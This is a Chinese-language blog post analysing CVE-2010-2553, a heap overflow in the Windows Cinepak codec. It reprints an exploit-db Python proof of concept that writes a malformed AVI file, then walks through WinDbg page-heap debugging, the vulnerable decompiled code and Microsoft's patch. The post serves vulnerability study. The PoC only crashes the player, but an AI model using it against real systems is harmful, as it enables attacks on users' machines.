CVE 2010-2553漏洞,也称为MicrosoftWindows Cinepak 编码解码器解压缩漏洞,影响的操作系统版本有:Microsoft Windows XP SP2和SP3,WindowsVista SP1和SP2,以及Windows 7。
漏洞原因在于Cinepak 编码解码器对媒体文件解压缩时代码控制不恰当,可导致远程代码执行。如果用户打开特制的媒体文件,此漏洞可能允许执行代码。如果用户使用管理用户权限登录,成功利用此漏洞的攻击者便可完全控制受影响的系统。
漏洞利用wmplay.exe,而wmplay.exe这个播放器在国内很少有人使用,如果被攻击者使用了第三方的视频播放软件,很难攻击成功,这可能也是这一漏洞不被分析重视的一大原因。
在exploit-db找到老外的poc
''' __ __ ____ _ _ ____ | \/ |/ __ \ /\ | | | | _ \ | \ / | | | | / \ | | | | |_) | | |\/| | | | |/ /\ \| | | | _ < | | | | |__| / ____ \ |__| | |_) | |_| |_|\____/_/ \_\____/|____/ http://www.exploit-db.com/moaub-26-microsoft-cinepak-codec-cvdecompress-heap-overflow-ms10-055/ ''' ''' Title : Microsoft Cinepak Codec CVDecompress Heap Overflow Version : iccvid.dll XP SP3 Analysis : http://www.abysssec.com Vendor : http://www.microsoft.com Impact : High Contact : shahin [at] abysssec.com , info [at] abysssec.com Twitter : @abysssec CVE : CVE-2010-2553 MOAUB Number : ''' import sys def main(): aviHeaders = '\x52\x49\x46\x46\x58\x01\x00\x00\x41\x56\x49\x20\x4C\x49\x53\x54\xC8\x00\x00\x00\x68\x64\x72\x6C\x61\x76\x69\x68\x38\x00\x00\x00\xA0\x86\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x01\x00\x00\x4E\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x60\x01\x00\x00\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4C\x49\x53\x54\x7C\x00\x00\x00\x73\x74\x72\x6C\x73\x74\x72\x68\x38\x00\x00\x00\x76\x69\x64\x73\x63\x76\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x03\x00\x00\x10\x27\x00\x00\x00\x00\x00\x00\x4E\x00\x00\x00\x20\x74\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x60\x01\x20\x01\x73\x74\x72\x66\x28\x00\x00\x00\x28\x00\x00\x00\x50\x01\x00\x00\x20\x01\x00\x00\x01\x00\x18\x00\x63\x76\x69\x64\x84\x8D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' padding = '\x4A\x55\x4E\x4B\x00\x00\x00\x00\x4A\x55\x4E\x4B\x00\x00\x00\x00' movi_tag = '\x4C\x49\x53\x54\x5C\x00\x00\x00\x6D\x6F\x76\x69\x30\x30\x64\x63\x10\x00\x00\x00' cinepak_codec_data1 = '\x00\x00\x00\x68\x01\x60\x01\x20' number_of_coded_strips = '\x00\x10' cinepak_codec_data2 = '\x10\x00\x00\x10\x00\x00\x00\x00\x00\x60\x01\x60\x20\x00\x00\x00\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x00' idx_tag = '\x69\x64\x78\x31\x10\x00\x00\x00\x30\x30\x64\x63\x10\x00\x00\x00\x04\x00\x00\x00\x68\x00\x00\x00' avifile = open('poc.avi', 'wb+') avifile.write(aviHeaders) avifile.write(padding) avifile.write(movi_tag) avifile.write(cinepak_codec_data1) avifile.write(number_of_coded_strips) avifile.write(cinepak_codec_data2) avifile.write(idx_tag) avifile.close() print '[-] AVI file generated' if __name__ == '__main__': main()
生成poc.avi后用wmplayer打开,直接崩溃。附加上windbg打开
看起来是iccvid.dll中iccvid!CVDecompress+0x11e
出现的漏洞。
因为是堆溢出,我们这里开启页堆!gflag +hpa
,页堆的机制就是在堆的末尾增加一个栅格,属性是不可访问。如果发生了堆溢出则会访问栅格造成异常。
发现edi就是页堆,即发生了堆溢出。
看看目的堆edi有多大
0:014> !heap -p -a edi address 075e7000 found in _DPH_HEAP_ROOT @ a1000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 7b92c38: 75e5000 6000 - 75e4000 8000 7c938f01 ntdll!RtlAllocateHeap+0x00000e64 7c809a6f kernel32!LocalAlloc+0x00000058 73b724a8 iccvid!CVDecompressBegin+0x00000080 73b7c6a0 iccvid!DecompressBegin+0x00000214 73b766a1 iccvid!DriverProc+0x00000198 73b41938 MSVFW32!ICSendMessage+0x0000002b 7cf8df19 quartz!CAVIDec::StartStreaming+0x00000278 7cf8d164 quartz!CTransformFilter::Pause+0x00000060 7cf8d0f2 quartz!CAVIDec::Pause+0x0000002f 7cf8cf69 quartz!CFilterGraph::Pause+0x00000107 7cf8ce93 quartz!CFGControl::Cue+0x00000032 7cfa4584 quartz!CFGControl::CueThenRun+0x00000012 7cfa44d7 quartz!CFGControl::CImplMediaControl::Run+0x0000002b 491be351 wmp!CWMPGraph::InternalPlay+0x00000039 491be300 wmp!CWMPGraph::Play+0x000000a8 4917ff31 wmp!CWMPControl::InternalPlay+0x0000015c
可以看出这个堆有0x6000,此时ecx=0x800,所以每次复制0x800 * 4 = 0x2000个字节。然后我们看看这个函数的伪代码。
do { if ( v29 < 0x16 ) break; HIBYTE(v15) = *(_BYTE *)(v14 + 1); LOBYTE(v15) = *(_BYTE *)(v14 + 2); v31 = *(_BYTE *)(v14 + 3) | (v15 << 8); if ( v29 < v31 ) break; if ( *(_BYTE *)v14 == 16 || *(_BYTE *)v14 == 17 ) { if ( ULongSub(v31, 12, &a1) < 0 ) goto LABEL_33; HIBYTE(v16) = *(_BYTE *)(v14 + 8); HIBYTE(v17) = *(_BYTE *)(v14 + 4); LOBYTE(v16) = *(_BYTE *)(v14 + 9); LOBYTE(v17) = *(_BYTE *)(v14 + 5); v18 = v16 - v17; LOWORD(v18) = *(_WORD *)(v7 + 46) * v18; a2 = v18; if ( v32 && !BYTE3(TotalLen) && *(_BYTE *)v14 == 17 ) { qmemcpy( (void *)(*(_DWORD *)(v7 + 28) + v32), (const void *)(*(_DWORD *)(v7 + 28) + v32 - 0x2000), 0x2000u); // vuln here v14 = v26; } v19 = v30 + 12; v20 = v14 + 12; *(_DWORD *)(v7 + 56) = v32 + *(_DWORD *)(v7 + 32); v27 = v14 + 12; *(_DWORD *)(v7 + 60) = a7; while ( a1 >= 4 ) { HIBYTE(v21) = *(_BYTE *)(v20 + 1); LOBYTE(v21) = *(_BYTE *)(v20 + 2); v22 = *(_BYTE *)(v20 + 3) | (v21 << 8); v24 = v22; if ( a1 < v22 ) break; switch ( *(_BYTE *)v20 ) { case 0x20: case 0x21: case 0x24: case 0x25: (*(void (__stdcall **)(int, _DWORD, _DWORD, _DWORD))v7)( v19, *(_DWORD *)(v7 + 56), *(_DWORD *)(v7 + 52), *(_DWORD *)(v7 + 48)); break; case 0x22: case 0x23: case 0x26: case 0x27: (*(void (__stdcall **)(int, int, _DWORD, _DWORD))(v7 + 4))( v19, *(_DWORD *)(v7 + 56) + 4096, *(_DWORD *)(v7 + 52), *(_DWORD *)(v7 + 48)); break; case 0x30: (*(void (__stdcall **)(unsigned int, int, int, int, int, int, int))(v7 + 8))( v7, v19 + 4, v22 - 4, a4, a5, a6, a2); break; case 0x31: (*(void (__stdcall **)(unsigned int, int, int, int, int, int, int))(v7 + 16))( v7, v19 + 4, v22 - 4, a4, a5, a6, a2); break; case 0x32: (*(void (__stdcall **)(unsigned int, int, int, int, int, int, int))(v7 + 12))( v7, v19 + 4, v22 - 4, a4, a5, a6, a2); break; default: break; } v20 = v24 + v27; v23 = 1; v19 += v24; v27 += v24; if ( v24 > 1 ) v23 = v24; a1 -= v23; } a6 += a7 * (signed __int16)a2; ++idx; v32 += 0x2000; } v30 += v31; v29 -= v31; v14 += v31; v26 = v14; } while ( idx < CodedStripNum );
可以看出,每次循环后,会将edi的地址增加0x2000,注意v32这个变量,第一次其实并没有复制,因为第一次v32为0,也就是说qmemcpy复制两次就会导致堆溢出。
分析一下PoC,根据CVID格式分析(https://multimedia.cx/mirror/cinepak.txt)
flag = 0x00 cvid长度 = 0x000068 coded frame宽度 = 0x1060 coded frame高度 = 0x1020 coded strip数量 = 0x0010
可以看出coded strip数量应该是小于3即可防止多次拷贝导致堆溢出。
patchdiff下发现pathc了这个函数,看看patch在哪
可以看出,对比了coded strip是否大于3,大于3则退出。
本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。
我来说两句